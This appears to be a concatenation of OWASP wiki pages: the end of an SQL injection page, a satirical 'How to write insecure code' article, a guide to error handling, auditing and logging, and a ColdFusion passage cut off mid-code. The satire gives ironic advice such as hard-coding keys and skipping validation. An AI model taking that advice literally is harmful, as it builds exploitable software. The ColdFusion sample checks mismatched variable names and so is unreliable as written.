*When using simple escape mechanisms, note that''' simple escaping functions cannot escape table names'''! Table names must be legal SQL, and thus are completely unsuitable for user supplied input
*'''Watch out for canonicalization errors.''' Inputs must be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked
Language specific recommendations:

*Java EE - use strongly typed PreparedStatement, or ORMs such as Spring or named parameters within Hibernate.
*.NET - use strongly typed parameterized queries, such as SqlCommand with SqlParameter, or named parameters within Hibernate.
*PHP - use PDO with strongly typed parameterized queries (using bindParam()).

== Samples ==

*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121]
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953]
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592]

== Related Sites ==

*[[SQL Injection]]
*[[Guide to SQL Injection]]
*[[SQL Injection Prevention Cheat Sheet]]
*[[Reviewing Code for SQL Injection]]
*[[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]

== References ==

*CWE: CWE-89 (SQL Injection), CWE-77 (Command Injection), CWE-90 (LDAP Injection), CWE-91 (XML Injection), CWE-93 (CRLF Injection), others.
*WASC Threat Classification: [http://www.webappsec.org/projects/threat/classes/sql_injection.shtml (1) SQL Injection] [http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml (2) LDAP Injection] [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml (3) OS Commanding]
*Advanced SQL Injection, [http://www.ngssoftware.com/papers/advanced_sql_injection.pdf http://www.ngssoftware.com/papers/advanced_sql_injection.pdf]
*More Advanced SQL Injection, [http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf]
*Hibernate, an advanced object relational manager (ORM) for J2EE and .NET, [http://www.hibernate.org/ http://www.hibernate.org/]
*J2EE Prepared Statements, [http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html]
*How to: Protect from SQL injection in ASP.Net, [http://msdn2.microsoft.com/en-us/library/ms998271.aspx http://msdn2.microsoft.com/en-us/library/ms998271.aspx]
*PHP PDO functions, [http://php.net/pdo http://php.net/pdo]
*SQL Injection, http://packetstormsecurity.com/papers/general/SQLInjectionWhitePaper.pdf

{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Malicious File Execution-Finnish|useprev=PrevLink|prev=-Cross Site Scripting-Finnish|usemain=MainLink|main=_Finnish}}

How to write insecure code

2013-05-12T17:14:50Z

Shady: Introduction

==Add to this Article==

Help us out and add your favorite ways to discourage secure coding below.

==Introduction==

In the interest of ensuring that there will be a future for hackers, criminals, and others who want to destroy the digital future, this paper captures tips from the masters on how to create insecure code. With a little creative use of these tips, you can also ensure your own financial future. Be careful, you don't want to make your code look hopelessly insecure, or your insecurity may be uncovered and fixed.

The idea for this article comes from Roedy Green's [http://mindprod.com/jgloss/unmain.html How to write unmaintainable code]. You may find the [http://thc.org/root/phun/unmaintain.html one page version more readable]. Actually, making your code unmaintainable is a great first step towards making it insecure and there are some great ideas in this article, particularly the section on camouflage. Also many thanks to Steven Christey from MITRE who contributed a bunch of particularly insecure items.

''Special note for the slow to pick up on irony set. This essay is a '''joke'''! Developers and architects are often bored with lectures about how to write '''secure''' code. Perhaps this is another way to get the point across.''



==General Principles==

; '''Avoid the tools'''
: To ensure an application is forever insecure, you have to think about how security vulnerabilities are identified and remediated. Many software teams believe that automated tools can solve their security problems. So if you want to ensure vulnerabilities, simply make them difficult for automated tools to find. This is a lot easier than it sounds. All you have to do is make sure your vulnerabilities don't match anything in the tool's database of signatures. Your code can be as complex as you want, so it's pretty easy to avoid getting found. In fact, most inadvertent vulnerabilities can't be found by tools anyway.

; '''Always use default deny'''
: Apply the principle of "Default Deny" when building your application. Deny that your code can ever be broken, deny vulnerabilities until there's a proven exploit, deny to your customers that there was ever anything wrong, and above all - deny responsibility for flaws. Blame the dirty cache buffers.

; '''Be a shark'''
: Always be on the move. Leave security problems to operations staff.

==Complexity==

; '''Distribute security mechanisms'''
: Security checks should be designed so that they are as distributed as possible throughout the codebase. Try not to follow a consistent pattern and don't make it easy to find all the places where the mechanism is used. This will virtually ensure that security is implemented inconsistently.

; '''Spread the wealth'''
: Another great way to avoid being found is to make sure your security holes aren't located in one place in your code. It's very difficult for analysts to keep all of your code in their head, so by spreading out the holes you prevent anyone from finding or understanding them.

; '''Use dynamic code'''
: The single best way to make it difficult for a security analyst (or security tool for that matter) to follow through an application and uncover a flaw is to use dynamic code. It can be almost impossible to trace the flow through code that is loaded at runtime. Features like reflection and classloading are beautiful features for hiding vulnerabilities. Enable as many "plugin" points as possible.

==Secure Languages==

; '''Type safety'''
: Means anything you enter at the keyboard is secure.

; '''Secure languages'''
: Pick only programming languages that are completely safe and don't require any security knowledge or special programming to secure.

; '''Mix languages'''
: Different languages have different security rules, so the more languages you include the more difficult it will be to learn them all. It's hard enough for development teams to even understand the security ramifications of one language, much less three or four. You can use the transitions between languages to hide vulnerabilities too.

==Trust Relationships==

; '''Rely on security checks done elsewhere'''
: It's redundant to do security checks twice, so if someone else says that they've done a check, there's no point in doing it again. When possible, it's probably best to just assume that others are doing security right, and not waste time doing it yourself. Web services and other service interfaces are generally pretty secure, so don't bother checking what you send or what they return.

; '''Trust insiders'''
: Malicious input only comes from the Internet, and you can trust that all the data in your databases is perfectly validated, encoded, and sanitized for your purposes.

; '''Share the love'''
: Drop your source code into repositories that are accessible by all within the company. This also prevents having to email those hard-coded shared secrets around.

; '''Ignore decoupling requirements'''
: Security is hard enough. Don't listen when anyone says that point-to-point trust relationships undermine efforts to build decoupled systems. They're only trying to sound smart and well read.

==Logging==

; '''Use your logs for debugging'''
: Nobody will be able to trace attacks on your code if you fill up the logs with debugging nonsense. Extra points for making your log messages undecipherable by anyone except you. Even more points if the log messages look as though they might be security relevant.

; '''Don't use a logging framework'''
: The best approach to logging is just to write to stdout, or maybe to a file. Logging frameworks make the logs too easy to search and manage to be sure that nobody will ever review them.

==Encryption==

; '''Build your own encryption scheme'''
: The standard encryption mechanisms are way too complicated to use. It's much easier to make up an encryption algorithm that scrambles up secret stuff. You don't need to bother with a key or anything, just mix it all up and nobody will figure it out.

; '''Hard-code your keys'''
: Hard-coding is the best way to retain control. This way those pesky operations folks won't be able to monkey with (they say "rotate") the keys, and they'll be locked into the source code where only smart people can understand them. This will also make it easier to move from environment to environment as the hard-coded key will be the same everywhere. This in turn means your code is secure everywhere.

; '''Smart coders don't read manuals'''
: Just keep adding bytes until the algorithm stops throwing exceptions. Or just save yourself time and cut-and-paste from a popular coding site. This looks like a good start: byte[] keyBytes = new byte[] { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17 };

; '''Pack up your sensitive payload'''
: If you need to pass things that are sensitive, like passwords or PII, just pack it up in an encrypted blob. Then just email the key to the developer who is coding the other side of the transaction, and punch out early. This will also get you past Data Loss Prevention (DLP) tools which is a huge bonus.

; '''Encryption is hard'''
: A great way to improve the security posture of your site is to use client-side JavaScript to encrypt passwords and other sensitive data that are submitted. This can be used with or without HTTPS (TLS/SSL). If you use it without HTTPS, you can save some money by skipping the annual purchase of a signed third party certificate.

; '''HTTPS makes your application bullet proof'''
: If you use HTTPS encryption between your web application endpoint and the client, there is absolutely no way for anyone to steal any of the data that is transmitted.

==Access Control==
===Authentication===

; '''Build your own authentication scheme'''
: Authentication is simple, so just use your common sense and implement. Don't worry about esoteric stuff you hear about like session prediction, hashing credentials, brute force attacks, and so on. Only NSA eggheads could possibly ever figure that stuff out. And if users want to choose weak passwords, that's their own fault.

; '''Sessions are inherantly secure'''
: Sessions timeout after 20 minutes, so don't worry about them. You can put the SESSIONID in the URL, log files, or wherever else you feel like. What could an attacker do with a SESSIONID anyway? It's just a bunch of random letters and numbers.

; '''Single Sign-On is easy'''
: If you need to submit a username and password (or other secret knocks) from one site to another, pack it up in an encrypted blob as above. This way if anyone finds the blob, they'll have a heck of a time decrypting it, which is what they'll need to do to be able to encrypt it again and create the blob themselves.
: A one-way hash cannot be decrypted. Therefore, this is a way to take the latter approach and make it unbreakable.

===Authorization===

; '''Forget about it'''
: See [[How_to_write_insecure_code#Authentication|Authentication]]. Only ivory tower knuckleheads think there's a difference between authentication and authorization.

; '''Just let your authorization scheme evolve'''
: It's really hard to figure out all the access control rules for your application, so use a '''just in time''' development methodology. This way you can just code up new rules when you figure them out. If you end up with hundreds or thousands of lines of authorization code scattered throughout your application, you're on the right track.

; '''Privilege makes code just work'''
: Using the highest privilege levels makes your product easier to install and run.

; '''Optimize the developer... always'''
: Each developer, independent of one another, must decide where authorization decision and enforcement is made.

; '''Trust the client'''
: RIA clients and fat clients that use remote services can make decisions about what the end-user can or can't see.

; '''Volunteer to authorize access to other systems'''
: When a service you are calling, for example, has inappropriate access controls just be nice and live with it. After all it will be your fault when a direct object reference permits any user of your system to see any data on their service. Should that happen, it will be a chance for you to show your dedication when you're up at 3 AM on a Saturday morning sorting out a breach.

===Policy===
; '''Forget about it'''
: Policy can't be known until the user requests arrive. Put authorization logic where you see fit. Sometimes you need to roll it into the UI. Sometimes it's in the data layer. Sometimes it's both.
: See [[How_to_write_insecure_code#Authentication|Authentication]]. Only ivory tower knuckleheads think that security requirements can be known at design time and expressed in a runtime-readable/declarative format.

; '''The tool knows how to do it'''
: Let your authentication technology dictate your authorization requirements.

==Input Validation==

; '''Validation is for suckers'''
: Your application is already protected by a firewall, so you don't have to worry about attacks in user input. The security ''experts'' who keep nagging you are just looking to keep themselves in a job and know nothing about programming.

; '''Let developers validate their way'''
: Don't bother with a standard way of doing validation, you're just cramping developer style. To create truly insecure code, you should try to validate as many different ways as possible, and in as many different places as possible.

; '''Trust the client'''
: If the client doesn't, by design, produce wacky encoding, for example, then wacky encoding isn't a threat.

==Documentation==

; '''If you can build it and it appears to work then why describe it?'''
: The most successful applications do not waste time with requirements, security or otherwise. Optimize the development by keeping the developers from having to read.

; '''Security is just another option'''
: Assume that your sysadmins will RTFM and change the default settings you specified in a footnote on page 124.

; '''Don't document how security works'''
: There is no point in writing down all the details of a security design. If someone wants to figure out if it works, they should check the code. After all, the code may change and then the documentation would be useless.

; '''Freedom to innovate'''
: Standards are really just guidelines for you to add your own custom extensions.

; '''Print is dead'''
: You already know everything about security, what else is there to learn? Books are for lamers, mailing lists and blogs are for media whores and FUD-tossing blowhards.

==Coding==

; '''Most APIs are safe'''
: Don't waste time poring through documentation for API functions. It's generally pretty safe to assume that APIs do proper validation, exception handling, logging, and thread safety.

; '''Don't use security patterns'''
: Make sure there's no standard way of implementing validation, logging, error handling, etc... on your project. It's best when developers are left free to express themselves and channel their inner muse in their code. Avoid establishing any security coding guidelines, that'll just inhibit creativity.

; '''Make sure the build process has lots of steps'''
: You want to maximize the number of steps in the build process that have to occur in the right order to make a successful build. It's best if only one person knows how to actually set up all the config files and build the distribution. If you do have steps written down, you should have lots of notes distributed across a bunch of files and howto's in lots of locations.

==Testing==

; '''Test with a browser'''
: All you need to test a web application is a browser. That way, you ensure that your code will work perfectly for all of your legitimate users. And what do you care if it doesn't work for hackers, attackers, and criminals? Using a fancy security testing tool like [[WebScarab]] is a waste of your valuable time.

; '''Don't use static analysis tools'''
: These tools aren't perfect, so just forget about them. Static analysis tools are likely to create annoying warning messages that will slow down your development time. Also they're a pain to learn, setup, and use.

; '''Build test code into every module'''
: You should build test code throughout the application. That way you'll have it there in production in case anything goes wrong and you need to run it.

; '''Security warnings are all false alarms'''
: Everyone knows that security warnings are all false alarms, so you can safely just ignore them. Why should you waste your valuable time chasing down possible problems when it's not your money on the line. If a tool doesn't produce perfect results, then just forget it.

==Libraries==

; '''Use lots of precompiled libraries'''
: Libraries are great because you don't have to worry about whether the code has any security issues. You can trust your business to just about any old library that you download off the Internet and include in your application. Don't worry about checking the source code, it's probably not available and it's too much trouble to recompile. And it would take way too long to check all that source code anyway.

==Jedi Mind Tricks==
; '''Defensive Insecurity: Always be ready with a good offense.'''
===Your project is too important===
* This project is too important to consider these negative security findings.

===You're too important===
* Don't you know who I am?
===They are not important===
* Who are you to question this?
===You know important people===
* I was having a beer with Joe Topexec yesterday, and he really wants to see this project online.
===Too late===
* This has to be released tomorrow night at 10 PM. We have SLAs to satisfy.
===Vague references===
* We got approval from the security team over a year ago on this.
===Precedence===
* This has been done this way for 5 years so why does it matter now?
* Everyone else does it this way, why are you making me deal with it?
* Our competition has this vulnerability too, so it must not be important.
===Magical thinking===
* It's internal network only, so security doesn't matter.
* It's secure because it's over VPN.
* I thought the firewalls were supposed to do that.
* My application is different.

[[Category:How To]]

Error Handling, Auditing and Logging

2013-05-12T17:12:01Z

Shady: Further Reading

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

Many industries are required by legal and regulatory requirements to be:

* Auditable – all activities that affect user state or balances are formally tracked

* Traceable – it’s possible to determine where an activity occurs in all tiers of the application

* High integrity – logs cannot be overwritten or tampered with by local or remote users

Well-written applications will dual-purpose logs and activity traces for audit and monitoring, and make it easy to track a transaction without excessive effort or access to the system. They should possess the ability to easily track or identify potential fraud or anomalies end-to-end.

==Environments Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data – All sections should be reviewed, but in particular:

DS11.4 Source data error handling

DS11.8 Data input error handling

==Description ==

Error handling, debug messages, auditing and logging are different aspects of the same topic: how to track events within an application:

==Best practices ==

* Fail safe – do not fail open

* Dual purpose logs

* Audit logs are legally protected – protect them

* Reports and search logs using a read-only copy or complete replica

==Error Handling ==

Error handling takes two forms: structured exception handling and functional error checking. Structured exception handling is always preferred as it is easier to cover 100% of code. Functional languages, such as PHP 4, that do not have exceptions are very hard to cover 100% of all errors. Code that covers 100% of errors is extraordinarily verbose and difficult to read, and can contain subtle bugs and errors in the error handling code itself.

Motivated attackers like to see error messages as they might leak information that leads to further attacks, or may leak privacy related information. Web application error handling is rarely robust enough to survive a penetration test.

Applications should always fail safe. If an application fails to an unknown state, it is likely that an attacker may be able to exploit this indeterminate state to access unauthorized functionality, or worse create, modify or destroy data.

===Fail safe ===

* Inspect the application’s fatal error handler.

* Does it fail safe? If so, how?

* Is the fatal error handler called frequently enough?

* What happens to in-flight transactions and ephemeral data?

===Debug errors ===

* Does production code contain debug error handlers or messages?

* If the language is a scripting language without effective pre-processing or compilation, can the debug flag be turned on in the browser?

* Do the debug messages leak privacy related information, or information that may lead to further successful attack?

===Exception handling ===

* Does the code use structured exception handlers (try {} catch {} etc) or function-based error handling?

* If the code uses function-based error handling, does it check every return value and handle the error appropriately?

* Would fuzz injection against the average interface fail?

===Functional return values ===

Many languages indicate an error condition by return value. E.g.:

<pre>
$query = mysql_query(“SELECT * FROM table WHERE id=4”, $conn);

if ( $query === false ) {

// error

}
</pre>

* Are all functional errors checked? If not, what can go wrong?

==Detailed error messages ==

Detailed error messages provide attackers with a mountain of useful information.

===How to determine if you are vulnerable ===

* Are detailed error messages turned on?

* Do the detailed error messages leak information that may be used to stage a further attack, or leak privacy related information?

* Does the browser cache the error message?

===How to protect yourself ===

Ensure that your application has a “safe mode” to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.

Production code should not be capable of producing debug messages. If it does, debug mode should be triggered by editing a file or configuration option on the server. In particular, debug should not enabled be an option in the application itself.

If the framework or language has a structured exception handler (i.e. try {} catch {}), it should be used in preference to functional error handling.

If the application uses functional error handling, its use must be comprehensive and thorough.

Detailed error messages, such as stack traces or leaking privacy related information, should never be presented to the user. Instead a generic error message should be used. This includes HTTP status response codes (i.e. 404 or 500 Internal Server error).

==Logging ==

===Where to log to? ===

Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.

Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.). A common naming convention should be adopted with regards to logs, making them easier to index. Verification that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!

Make sure data is not overwritten.

Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy.

Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.

Be sure to keep logs safe and confidential even when backed up.

===Handling ===

Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.

No manipulation, no deletion while analyzing.

===General Debugging ===

Logs are useful in reconstructing events after a problem has occurred, security related or not. Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.

===Forensics evidence ===

Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.

===Attack detection ===

Logs are often the only record that suspicious behavior is taking place: Therefore logs can sometimes be fed real-time directly into intrusion detection systems.

===Quality of service ===

Repetitive polls can be protocolled so that network outages or server shutdowns get protocolled and the behavior can either be analyzed later on or a responsible person can take immediate actions.

===Proof of validity ===

Application developers sometimes write logs to prove to customers that their applications are behaving as expected.

* Required by law or corporate policies.

* Logs can provide individual accountability in the web application system universe by tracking a user's actions.

It can be corporate policy or local law to be required to (for example) save header information of all application transactions. These logs must then be kept safe and confidential for six months before they can be deleted.

The points from above show all different motivations and result in different requirements and strategies. This means, that before we can implement a logging mechanism into an application or system, we have to know the requirements and their later usage. If we fail in doing so this can lead to unintentional results.

Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded. We will look into the most common attack methods, design and implementation errors, as well as the mitigation strategies later on in this chapter.

There is another reason why the logging mechanism must be planned before implementation. In some countries, laws define what kind of personal information is allowed to be not only logged but also analyzed. For example, in Switzerland, companies are not allowed to log personal information of their employees (like what they do on the internet or what they write in their emails). So if a company wants to log a worker's surfing habits, the corporation needs to inform her of their plans in advance.

This leads to the requirement of having anonymized logs or de-personalized logs with the ability to re-personalized them later on if need be. If an unauthorized person has access to (legally) personalized logs, the corporation is acting unlawful. So there can be a few (not only) legal traps that must be kept in mind.

===Logging types ===

Logs can contain different kinds of data. The selection of the data used is normally affected by the motivation leading to the logging. This section contains information about the different types of logging information and the reasons why we could want to log them.

In general, the logging features include appropriate debugging information such as time of event, initiating process or owner of process, and a detailed description of the event. The following are types of system events that can be logged in an application. It depends on the particular application or system and the needs to decide which of these will be used in the logs:

* Reading of data file access and what kind of data is read. This not only allows to see if data was read but also by whom and when.

* Writing of data logs also where and with what mode (append, replace) data was written. This can be used to see if data was overwritten or if a program is writing at all.

* Modification of any data characteristics, including access control permissions or labels, location in database or file system, or data ownership. Administrators can detect if their configurations were changed.

* Administrative functions and changes in configuration regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)

* Miscellaneous debugging information that can be enabled or disabled on the fly.

* All authorization attempts (include time) like success/failure, resource or function being authorized, and the user requesting authorization. We can detect password guessing with these logs. These kinds of logs can be fed into an Intrusion Detection system that will detect anomalies.

* Deletion of any data (object). Sometimes applications are required to have some sort of versioning in which the deletion process can be cancelled.

* Network communications (bind, connect, accept, etc.). With this information an Intrusion Detection system can detect port scanning and brute force attacks.

* All authentication events (logging in, logging out, failed logins, etc.) that allow to detect brute force and guessing attacks too.

==Noise ==

Noise is intentionally invoking security errors to fill an error log with entries (noise) that hide the incriminating evidence of a successful intrusion. When the administrator or log parser application reviews the logs, there is every chance that they will summarize the volume of log entries as a denial of service attempt rather than identifying the 'needle in the haystack'.

===How to protect yourself ===

This is difficult since applications usually offer an unimpeded route to functions capable of generating log events. If you can deploy an intelligent device or application component that can shun an attacker after repeated attempts, then that would be beneficial. Failing that, an error log audit tool that can reduce the bulk of the noise, based on repetition of events or originating from the same source for example. It is also useful if the log viewer can display the events in order of severity level, rather than just time based.

==Cover Tracks ==

The top prize in logging mechanism attacks goes to the contender who can delete or manipulate log entries at a granular level, "as though the event never even happened!". Intrusion and deployment of rootkits allows an attacker to utilize specialized tools that may assist or automate the manipulation of known log files. In most cases, log files may only be manipulated by users with root / administrator privileges, or via approved log manipulation applications. As a general rule, logging mechanisms should aim to prevent manipulation at a granular level since an attacker can hide their tracks for a considerable length of time without being detected. Simple question; if you were being compromised by an attacker, would the intrusion be more obvious if your log file was abnormally large or small, or if it appeared like every other day's log?

===How to protect yourself ===

Assign log files the highest security protection, providing reassurance that you always have an effective 'black box' recorder if things go wrong. This includes:

*Applications should not run with Administrator, or root-level privileges. This is the main cause of log file manipulation success since super users typically have full file system access. Assume the worst case scenario and suppose your application is exploited. Would there be any other security layers in place to prevent the application's user privileges from manipulating the log file to cover tracks?

*Ensuring that access privileges protecting the log files are restrictive, reducing the majority of operations against the log file to alter and read.

*Ensuring that log files are assigned object names that are not obvious and stored in a safe location of the file system.

*Writing log files using publicly or formally scrutinized techniques in an attempt to reduce the risk associated with reverse engineering or log file manipulation.

*Writing log files to read-only media (where event log integrity is of critical importance).

*Use of hashing technology to create digital fingerprints. The idea is that if an attacker does manipulate the log file, then the digital fingerprint will not match and an alert generated.

*Use of host-based IDS technology where normal behavioral patterns can be 'set in stone'. Attempts by attackers to update the log file through anything but the normal approved flow would generate an exception and the intrusion can be detected and blocked. This is one security control that can safeguard against simplistic administrator attempts at modifications.

==False Alarms ==

Taking cue from the classic 1966 film "How to Steal a Million", or similarly the fable of Aesop; "The Boy Who Cried Wolf", be wary of repeated false alarms, since this may represent an attacker's actions in trying to fool the security administrator into thinking that the technology is faulty and not to be trusted until it can be fixed.

===How to protect yourself ===

Simply be aware of this type of attack, take every security violation seriously, always get to the bottom of the cause event log errors rather, and don't just dismiss errors unless you can be completely sure that you know it to be a technical problem.

===Denial of Service ===

By repeatedly hitting an application with requests that cause log entries, multiply this by ten thousand, and the result is that you have a large log file and a possible headache for the security administrator. Where log files are configured with a fixed allocation size, then once full, all logging will stop and an attacker has effectively denied service to your logging mechanism. Worse still, if there is no maximum log file size, then an attacker has the ability to completely fill the hard drive partition and potentially deny service to the entire system. This is becoming more of a rarity though with the increasing size of today's hard disks.

===How to protect yourself ===

The main defense against this type of attack are to increase the maximum log file size to a value that is unlikely to be reached, place the log file on a separate partition to that of the operating system or other critical applications and best of all, try to deploy some kind of system monitoring application that can set a threshold against your log file size and/or activity and issue an alert if an attack of this nature is underway.

==Destruction ==

Following the same scenario as the Denial of Service above, if a log file is configured to cycle round overwriting old entries when full, then an attacker has the potential to do the evil deed and then set a log generation script into action in an attempt to eventually overwrite the incriminating log entries, thus destroying them.

If all else fails, then an attacker may simply choose to cover their tracks by purging all log file entries, assuming they have the privileges to perform such actions. This attack would most likely involve calling the log file management program and issuing the command to clear the log, or it may be easier to simply delete the object which is receiving log event updates (in most cases, this object will be locked by the application). This type of attack does make an intrusion obvious assuming that log files are being regularly monitored, and does have a tendency to cause panic as system administrators and managers realize they have nothing upon which to base an investigation on.

===How to protect yourself ===

Following most of the techniques suggested above will provide good protection against this attack. Keep in mind two things:

*Administrative users of the system should be well trained in log file management and review. 'Ad-hoc' clearing of log files is never advised and an archive should always be taken. Too many times a log file is cleared, perhaps to assist in a technical problem, erasing the history of events for possible future investigative purposes.

*An empty security log does not necessarily mean that you should pick up the phone and fly the forensics team in. In some cases, security logging is not turned on by default and it is up to you to make sure that it is. Also, make sure it is logging at the right level of detail and benchmark the errors against an established baseline in order measure what is considered 'normal' activity.

==Audit Trails ==

Audit trails are legally protected in many countries, and should be logged into high integrity destinations to prevent casual and motivated tampering and destruction.

===How to determine if you are vulnerable ===

* Do the logs transit in the clear between the logging host and the destination?

* Do the logs have a HMAC or similar tamper proofing mechanism to prevent change from the time of the logging activity to when it is reviewed?

* Can relevant logs be easily extracted in a legally sound fashion to assist with prosecutions?

===How to protect yourself ===

* Only audit truly important events – you have to keep audit trails for a long time, and debug or informational messages are wasteful

* Log centrally as appropriate and ensure primary audit trails are not kept on vulnerable systems, particularly front end web servers

* Only review copies of the logs, not the actual logs themselves

* Ensure that audit logs are sent to trusted systems

* For highly protected systems, use write-once media or similar to provide trust worthy long term log repositories

* For highly protected systems, ensure there is end-to-end trust in the logging mechanism. World writeable logs, logging agents without credentials (such as SNMP traps, syslog etc) are legally vulnerable to being excluded from prosecution

==Further Reading ==

* Oracle Auditing

http://www.dba-oracle.com/t_audit_table_command.htm

* Sarbanes Oxley for IT security

http://www.securityfocus.com/columnists/322

* Java Logging Overview
http://java.sun.com/javase/6/docs/technotes/guides/logging/overview.html

==Error Handling and Logging ==

All applications have failures – whether they occur during compilation or runtime. Most programming languages will throw runtime exceptions for illegally executing code (e.g. syntax errors) often in the form of cryptic system messages. These failures and resulting system messages can lead to several security risks if not handled properly including; enumeration, buffer attacks, sensitive information disclosure, etc. If an attack occurs it is important that forensics personnel be able to trace the attacker’s tracks via adequate logging.

ColdFusion provides structured exception handling and logging tools. These tools can help developers customize error handling to prevent unwanted disclosure, and provide customized logging for error tracking and audit trails. These tools should be combined with web server, J2EE application server, and operating system tools to create the full system/application security overview.

'''Error Handling'''

Hackers can use the information exposed by error messages. Even missing templates errors (HTTP 404) can expose your server to attacks (e.g. buffer overflow, XSS, etc.). If you enable the Robust Exception Information debugging option, ColdFusion will display:

Physical path of template

URI of template

Line number and line snippet

SQL statement used (if any)

Data source name (if any)

Java stack trace

ColdFusion provides tags and functions for developers to use to customize error handling. Administrators can specify default templates in the ColdFusion Administrator (CFAM) to handle unknown or unhandled exceptions. ColdFusion’s structure exception handling works in the following order:

Template level (ColdFusion templates and components)

ColdFusion exception handling tags: cftry, cfcatch, cfthrow, and cfrethrow

try and catch statements in CFScript

Application level (Application.cfc/cfm)

Specify custom templates for individual exceptions types with the cferror tag

Application.cfc onError method to handle uncaught application exceptions

System level (ColdFusion Administrator settings)

Missing Template Handler execute when a requested ColdFusion template is not found

Site-wide Error Handler executes globally for all unhandled exceptions on the server

'''Best Practices '''

*Do not allow exceptions to go unhandled

*Do not allow any exceptions to reach the browser

*Display custom error pages to users with an email link for feedback

*Do not enable “Robust Exception Information” in production.

*Specify custom pages for ColdFusion to display in each of the following cases:
**When a ColdFusion page is missing (the Missing Template Handler page)
**When an otherwise-unhandled exception error occurs during the processing of a page (the Site-wide Error Handler page)
**You specify these pages on the Settings page in the Server Settings are in the ColdFusion MX Administrator; for more information, see the ColdFusion MX Administrator Help.

*Use the cferror tag to specify ColdFusion pages to handle specific types of errors.

*Use the cftry, cfcatch, cfthrow, and cfrethrow tags to catch and handle exception errors directly on the page where they occur.

*In CFScript, use the try and catch statements to handle exceptions.

*Use the onError event in Application.cfc to handle exception errors that are not handled by try/catch code on the application pages.

'''Logging'''

Log files can help with application debugging and provide audit trails for attack detection. ColdFusion provides several logs for different server functions. It leverages the Apache Log4j libraries for customized logging. It also provides logging tags to assist in application debugging.

The following is a partial list of ColdFusion log files and their descriptions''' '''

{| border=1

|| Log file || Description

|-

|| application.log || Records every ColdFusion MX error reported to a user. Application page errors, including ColdFusion MX syntax, ODBC, and SQL errors, are written to this log file.

|-

|| exception.log || Records stack traces for exceptions that occur in ColdFusion.

|-

|| scheduler.log || Records scheduled events that have been submitted for execution. Indicates whether task submission was initiated and whether it succeeded. Provides the scheduled page URL, the date and time executed, and a task ID.

|-

|| server.log || Records start up messages and errors for ColdFusion MX.

|-

|| customtag.log || Records errors generated in custom tag processing.

|-

|| mail.log || Records errors generated by an SMTP mail server.

|-

|| mailsent.log || Records messages sent by ColdFusion MX.

|-

|| flash.log || Records entries for Macromedia Flash Remoting.

|-

|}

The CFAM contains the Logging Settings and log viewer screens. Administrators can configure the log directory, maximum log file size, and maximum number of archives. It also allows administrators to log slow running pages, CORBA calls, and scheduled task execution. The log viewer allows viewing, filtering, and searching of any log files in the log directory (default is cf_root/logs). Administrators can archive, save, and delete log files as well.

The cflog and cftrace tags allow developers to create customized logging. <cflog> can write custom messages to the Application.log, Scheduler.log, or a custom log file. The custom log file must be in the default log directory – if it does not exist ColdFusion will create it. <cftrace> tracks execution times, logic flow, and variable at the time the tag executes. It records the data in the cftrace.log (in the default logs directory) and can display this info either inline or in the debugging output of the current page request. Use <cflog> to write custom error messages, track user logins, and record user activity to a custom log file. Use <cftrace> to track variables and application state within running requests.

'''Best Practices'''

*Use <cflog> for customized logging

*Incorporate into custom error handling

*Record application specific messages

*Actively monitor and fix errors in ColdFusion’s logs

*Optimize logging settings

*Rotate log files to keep them current

*Keep files size manageable

*Enable logging of slow running pages

*Set the time interval lower than the configured Timeout Request value in the CFAM Settings screen

*Long running page timings are recorded in the server.log

*Use <cftrace> sparingly for audit trails

*Use with inline=“false”

*Use it to track user input – Form and/or URL variables

'''''Best Practices in Action'''''

The following code adds error handling and logging to the dbLogin and logout methods in the code from Authentication section.

<pre>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

